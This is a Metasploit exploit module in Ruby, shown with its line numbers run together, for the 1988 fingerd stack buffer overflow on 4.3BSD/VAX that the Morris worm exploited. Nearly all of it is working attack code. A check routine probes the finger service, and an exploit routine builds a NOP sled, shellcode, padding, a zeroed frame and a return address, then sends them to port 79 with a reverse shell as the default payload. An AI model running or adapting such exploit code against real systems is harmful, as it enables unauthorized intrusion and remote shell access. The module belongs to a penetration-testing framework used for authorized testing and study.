Path: blob/master/modules/exploits/bsd/finger/morris_fingerd_bof.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67Rank = NormalRanking89# This is so one-off that we define it here10ARCH_VAX = 'vax'1112include Msf::Exploit::Remote::Tcp13prepend Msf::Exploit::Remote::AutoCheck1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'Morris Worm fingerd Stack Buffer Overflow',20'Description' => %q{21This module exploits a stack buffer overflow in fingerd on 4.3BSD.2223This vulnerability was exploited by the Morris worm in 1988-11-02.24Cliff Stoll reports on the worm in the epilogue of The Cuckoo's Egg.2526Currently, only bsd/vax/shell_reverse_tcp is supported.27},28'Author' => [29'Robert Tappan Morris', # Discovery? Exploit and worm for sure30'Cliff Stoll', # The Cuckoo's Egg epilogue and inspiration31'wvu' # Module, payload, and additional research32],33'References' => [34['URL', 'https://en.wikipedia.org/wiki/Morris_worm'], # History35['URL', 'https://spaf.cerias.purdue.edu/tech-reps/823.pdf'], # Analysis36['URL', 'http://computerarcheology.com/Virus/MorrisWorm/'], # Details37['URL', 'https://github.com/arialdomartini/morris-worm'], # Source38['URL', 'http://gunkies.org/wiki/Installing_4.3_BSD_on_SIMH'] # Setup39# And credit to the innumerable VAX ISA docs on the Web40],41'DisclosureDate' => '1988-11-02',42'License' => MSF_LICENSE,43'Platform' => 'bsd',44'Arch' => ARCH_VAX,45'Privileged' => false, # Depends on inetd.conf, usually "nobody"46'Targets' => [47# https://en.wikipedia.org/wiki/Source_Code_Control_System48[49'@(#)fingerd.c 5.1 (Berkeley) 6/6/85',50{51'Ret' => 0x7fffe9b0,52'Payload' => {53'Space' => 403,54'BadChars' => "\n",55'Encoder' => 'generic/none', # There is no spoon56'DisableNops' => true # Hardcoded NOPs57}58}59]60],61'DefaultTarget' => 0,62'DefaultOptions' => { 'PAYLOAD' => 'bsd/vax/shell_reverse_tcp' },63'Notes' => {64'Reliability' => [ REPEATABLE_SESSION ],65'Stability' => [ CRASH_SERVICE_RESTARTS ],66'SideEffects' => [ IOC_IN_LOGS ]67}68)69)7071register_options([Opt::RPORT(79)])72end7374def check75token = rand_text_alphanumeric(8..42)7677connect78sock.put("#{token}\n")79res = sock.get_once8081return CheckCode::Unknown unless res8283if res.include?("Login name: #{token}")84return CheckCode::Detected85end8687CheckCode::Safe88rescue EOFError, Rex::ConnectionError => e89vprint_error(e.message)90CheckCode::Unknown91ensure92disconnect93end9495def exploit96# Start by generating our custom VAX shellcode97shellcode = payload.encoded9899# 0x01 is NOP in VAX-speak100nops = "\x01" * (target.payload_space - shellcode.length)101102# This pads past buffer corruption103padding = rand_text_alphanumeric(109)104105# This zeroes out part of the stack frame106frame = "\x00" * 16107108# Finally, pack in our return address109ret = [target.ret].pack('V') # V is for VAX!110111# The newline is for gets(3)112sploit = nops + shellcode + padding + frame + ret + "\n"113114# Fire away115print_status('Connecting to fingerd')116connect117print_status("Sending #{sploit.length}-byte buffer")118sock.put(sploit)119# Hat tip @bcoles120rescue Rex::ConnectionError => e121fail_with(Failure::Unreachable, e.message)122ensure123disconnect124end125126end127128129